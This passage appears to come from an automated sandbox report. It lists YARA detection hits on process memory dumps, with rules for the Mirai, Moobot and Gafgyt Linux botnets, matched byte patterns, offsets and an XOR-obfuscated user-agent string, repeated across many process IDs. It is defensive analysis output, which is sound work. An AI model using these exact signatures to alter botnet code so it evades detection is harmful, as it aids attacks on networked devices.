39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6261.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6519.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6519.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6519.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6519.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6519.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6519.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6914.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6998.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6998.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6998.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6998.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6998.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6998.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7326.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6264.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7253.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6567.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7349.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7349.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7349.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7349.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7349.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7349.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6542.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7055.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7055.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7055.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7055.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7055.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7055.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6244.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6244.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6244.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6244.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6244.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6244.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6584.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6584.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6584.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6584.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
